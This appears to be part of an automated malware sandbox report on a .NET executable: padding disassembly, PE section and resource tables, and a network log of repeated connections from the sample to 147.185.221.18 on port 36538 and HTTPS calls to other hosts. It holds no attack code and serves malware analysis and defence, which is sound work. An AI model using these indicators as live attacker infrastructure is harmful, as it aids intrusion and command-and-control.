add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31c14	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x32000	0x5b6c5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2fc74	0x2fe00	51486e0d4be29e334b3561dcf0bdf96d	False	0.8480030189295039	data	7.739802708970689	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x32000	0x5b6c5	0x5b800	21da889dcdf6a6e55a63a508de6a660e	False	0.048582650273224046	data	2.056326055038315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8e000	0xc	0x200	7abbba69a828c23cc023fde0da5fb353	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x32220	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144, resolution 2835 x 2835 px/m	0.030649909755303725
RT_ICON	0x74248	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	0.3617021276595745
RT_ICON	0x746b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	0.14076763485477178
RT_ICON	0x76c58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	0.20309568480300189
RT_ICON	0x77d00	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m	0.055675499822548206
RT_ICON	0x88528	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m	0.10781766650921115
RT_GROUP_ICON	0x8c750	0x5a	data	0.7555555555555555
RT_VERSION	0x8c7ac	0x31c	data	0.43090452261306533
RT_MANIFEST	0x8cac8	0xbfd	XML 1.0 document, Unicode text, UTF-8 (with BOM) text	0.4001303356142066

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 11:20:27.189583063 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.189594984 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:27.189668894 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.244190931 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.244205952 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:27.892817020 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:27.892894983 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.901534081 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.901547909 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:27.902040958 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:27.942365885 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:27.966043949 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:28.011401892 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:28.293404102 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:28.293487072 CEST	443	49731	104.26.2.16	192.168.2.7
Oct 15, 2024 11:20:28.293560982 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:28.319114923 CEST	49731	443	192.168.2.7	104.26.2.16
Oct 15, 2024 11:20:28.482125044 CEST	49740	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:28.487030983 CEST	36538	49740	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:28.487102032 CEST	49740	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:28.661955118 CEST	49740	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:28.667120934 CEST	36538	49740	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:33.359874964 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:33.359895945 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:33.359960079 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:33.360724926 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:33.360738039 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.076546907 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.076632977 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.087690115 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.087723017 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.088017941 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.102899075 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.147416115 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.306485891 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.306550026 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.306602001 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.317085981 CEST	49767	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.317106009 CEST	443	49767	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.317600965 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.317653894 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:34.318021059 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.318303108 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:34.318325996 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:35.038033962 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:35.045526981 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:35.045552015 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:35.248979092 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:35.249027967 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:35.249087095 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:35.289311886 CEST	49773	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:35.289334059 CEST	443	49773	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:36.988104105 CEST	36538	49740	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:36.988181114 CEST	49740	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:37.068414927 CEST	49740	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:37.073350906 CEST	36538	49740	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:37.081928015 CEST	49784	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:37.086920023 CEST	36538	49784	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:37.086987972 CEST	49784	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:37.100087881 CEST	49784	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:37.105000973 CEST	36538	49784	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:37.417701960 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:37.417759895 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:37.417828083 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:37.418154955 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:37.418171883 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.198895931 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.200347900 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.200361967 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.408061981 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.408122063 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.408554077 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.408581972 CEST	443	49790	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.408596992 CEST	49790	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.409508944 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.409558058 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:38.410032988 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.410032988 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:38.410063982 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:39.122108936 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:39.145241022 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:39.145265102 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:39.348665953 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:39.348813057 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:39.348891973 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:39.349801064 CEST	49796	443	192.168.2.7	169.197.85.95
Oct 15, 2024 11:20:39.349832058 CEST	443	49796	169.197.85.95	192.168.2.7
Oct 15, 2024 11:20:40.309792995 CEST	52281	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:40.316438913 CEST	53	52281	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:40.316529989 CEST	52281	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:40.323199987 CEST	53	52281	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:40.947650909 CEST	52281	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:40.953119040 CEST	53	52281	1.1.1.1	192.168.2.7
Oct 15, 2024 11:20:40.953254938 CEST	52281	53	192.168.2.7	1.1.1.1
Oct 15, 2024 11:20:41.375269890 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:41.375328064 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:41.375411987 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:41.375770092 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:41.375785112 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.242149115 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.246690989 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.246712923 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.606451035 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.606498957 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.606564045 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.606977940 CEST	52287	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.606992006 CEST	443	52287	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.607532024 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.607584000 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:42.607647896 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.607873917 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:42.607888937 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:43.467020988 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:43.468532085 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:43.468575954 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:43.824790955 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:43.824850082 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:43.825079918 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:43.825493097 CEST	52294	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:43.825515985 CEST	443	52294	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:45.590423107 CEST	36538	49784	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:45.590481043 CEST	49784	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:45.834362030 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:45.834402084 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:45.834485054 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:45.834800005 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:45.834814072 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:46.707580090 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:46.709223986 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:46.709250927 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.068567038 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.068636894 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.068784952 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.069272041 CEST	52317	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.069295883 CEST	443	52317	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.069873095 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.069912910 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.070034981 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.070549965 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.070561886 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.955079079 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:47.956558943 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:47.956576109 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:48.319721937 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:48.319873095 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:48.320286036 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:48.320313931 CEST	443	52323	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:48.320324898 CEST	52323	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:49.990014076 CEST	49784	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:49.991698980 CEST	52339	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:49.994858027 CEST	36538	49784	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:49.996507883 CEST	36538	52339	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:49.996597052 CEST	52339	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:50.007306099 CEST	52339	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:50.012268066 CEST	36538	52339	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:50.334197044 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:50.334227085 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:50.334305048 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:50.334517956 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:50.334532976 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.213824034 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.215327024 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.215351105 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.576709986 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.576756954 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.576807022 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.577224016 CEST	52344	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.577231884 CEST	443	52344	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.578562975 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.578577995 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:51.578663111 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.578882933 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:51.578893900 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:52.436475039 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:52.437521935 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:52.437537909 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:52.794894934 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:52.794953108 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:52.795008898 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:52.795331955 CEST	52350	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:52.795348883 CEST	443	52350	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:54.803365946 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:54.803400040 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:54.803476095 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:54.803786039 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:54.803797007 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:55.677370071 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:55.679044008 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:55.679061890 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.046679974 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.046802044 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.046855927 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.047148943 CEST	52368	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.047164917 CEST	443	52368	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.047686100 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.047720909 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.047790051 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.048006058 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.048017025 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.920164108 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:56.947668076 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:56.947693110 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:57.744259119 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:57.744404078 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:57.744477034 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:57.744854927 CEST	52375	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:57.744880915 CEST	443	52375	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:58.503614902 CEST	36538	52339	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:58.503727913 CEST	52339	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:58.630096912 CEST	52339	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:58.631031036 CEST	52391	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:58.635080099 CEST	36538	52339	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:58.635869980 CEST	36538	52391	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:58.635948896 CEST	52391	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:58.645538092 CEST	52391	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:20:58.650325060 CEST	36538	52391	147.185.221.18	192.168.2.7
Oct 15, 2024 11:20:59.759221077 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:59.759272099 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:20:59.759347916 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:59.759649992 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:20:59.759668112 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.628367901 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.631036997 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.631058931 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.987186909 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.987338066 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.987397909 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.987699986 CEST	52397	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.987720966 CEST	443	52397	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.988212109 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.988292933 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:00.988373995 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.988576889 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:00.988610983 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:01.873220921 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:01.874711990 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:01.874762058 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:02.251699924 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:02.251827955 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:02.251921892 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:02.252237082 CEST	52403	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:02.252268076 CEST	443	52403	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:04.255784988 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:04.255821943 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:04.255899906 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:04.256302118 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:04.256315947 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.111687899 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.113037109 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.113061905 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.465254068 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.465308905 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.465445995 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.465883970 CEST	52419	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.465894938 CEST	443	52419	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.466356993 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.466398954 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:05.466459990 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.466696978 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:05.466712952 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:06.349450111 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:06.350995064 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:06.351083040 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:06.726557016 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:06.726702929 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:06.726778984 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:06.727092981 CEST	52430	443	192.168.2.7	162.19.58.157
Oct 15, 2024 11:21:06.727138042 CEST	443	52430	162.19.58.157	192.168.2.7
Oct 15, 2024 11:21:07.143122911 CEST	36538	52391	147.185.221.18	192.168.2.7
Oct 15, 2024 11:21:07.143194914 CEST	52391	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:07.192887068 CEST	52391	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:07.194542885 CEST	52441	36538	192.168.2.7	147.185.221.18
Oct 15, 2024 11:21:07.197889090 CEST	36538	52391	147.185.221.18	192.168.2.7
